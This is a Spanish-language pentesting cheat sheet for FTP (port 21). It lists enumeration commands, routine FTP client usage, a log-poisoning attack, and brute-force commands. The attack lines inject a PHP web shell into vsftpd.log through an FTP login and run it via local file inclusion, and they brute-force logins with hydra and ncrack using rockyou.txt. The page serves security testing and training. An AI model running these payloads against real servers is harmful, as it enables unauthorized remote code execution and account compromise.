⚪ 21 - FTP (TCP)

Información

El File Transfer Protocol (FTP) es un protocolo de red para la transferencia de archivos entre sistemas conectados a una red TCP, basado en la arquitectura cliente-servidor.

Puerto Estándar: 21
PORT   STATE SERVICE
21/tcp open  ftp

Si Nmap no obtiene el encabezado del servicio, consultará la DB IANA para determinar el servicio asociado al puerto.

Enumeración

nc -vn 192.168.1.2 21
timeout 0.1 bash -c "nc -nv 192.168.1.2 21"
nmap -p21 -sS 192.168.1.2
nmap -p21 -sVC 192.168.1.2
nmap -p21 --script="ftp-anon" 192.168.1.2
nmap -p21 --script="ftp-*" 192.168.1.2

# ftps
openssl s_client -connect 192.168.1.2:21
openssl s_client -connect 192.168.1.2:21 -starttls ftp

Uso

# upload file
put cmd.php
# upload all files
mput *
# download
get config.php
# download all files
prompt off
mget *
# binary mode enable
binary
# exit
bye
# rename file
ftp> rename cmd.php
(to-name) cmd.php5
# read files from ftp
ftp> less .htaccess
ftp> more .htaccess

Conectar

# default port (21)
ftp peter@192.168.1.2
ftp anonymous@192.168.1.2
ncftp -u peter -p 'Passw0rd' 192.168.1.2
lftp -u anonymous, 192.168.1.2
lftp -u peter,'Passw0rd' 192.168.1.2

# ftps (error: Fatal error: Certificate verification: Not trusted)
lftp :~> set ssl:verify-certificate false

# other port
lftp -u peter,'Passw0rd' 192.168.1.2 -p 1234
ncftp -u peter -p 'Passw0rd' -P 1234 192.168.1.2

Log Poisoning

Si se detecta una vulnerabilidad de tipo Local File Inclusion (LFI) permitiendo leer el archivo /etc/passwd

file.php?file=/etc/passwd

Si también permite leer el archivo log de FTP ubicado en /var/log/vsftpd.log.

file.php?file=/var/log/vsftpd.log

Podrá envenenar ese archivo log inyectando código PHP en un inicio de sesión falso.

lftp -u '<?php system($_GET["cmd"]); ?>', 192.168.1.2

Ahora permitirá ejecución remota de comandos en el servidor de destino.

file.php?file=/var/log/vsftpd.log&cmd=id

Brute Force

Password

Si dispone de un usuario y no conoce el password:

# default port (21)
ncrack --user peter -P rockyou.txt ftp://192.168.1.2 -f
hydra -t 64 -l peter -P rockyou.txt ftp://192.168.1.2 -f -I     # ftp
hydra -t 64 -l peter -P rockyou.txt ftps://192.168.1.2 -f -I    # ftps
# other port
ncrack --user peter -P rockyou.txt ftp://192.168.1.2:1234 -f
hydra -t 64 -l peter -P rockyou.txt ftp://192.168.1.2:1234 -f -I

User

Si dispone de un password y no conoce el usuario:

# default port (21)
ncrack -U users.dic --pass Passw0rd ftp://192.168.1.2 -f
hydra -t 64 -L /opt/techyou.txt -p Passw0rd ftp://192.168.1.2 -f -I
# other port
ncrack -U users.dic --pass Passw0rd ftp://192.168.1.2:1234 -f
hydra -t 64 -L users.dic -p Passw0rd ftp://192.168.1.2:1234 -f -I

Archivos Asociados

  • /srv/ftp - Directorio por defecto donde se ubican los archivos.
  • /var/log/vsftpd.log - Ruta por defecto del archivo de logs.
  • /etc/vsftpd.conf - Ruta por defecto del archivo de configuración.

© d4t4s3c 2023-2025

results matching ""

    No results matching ""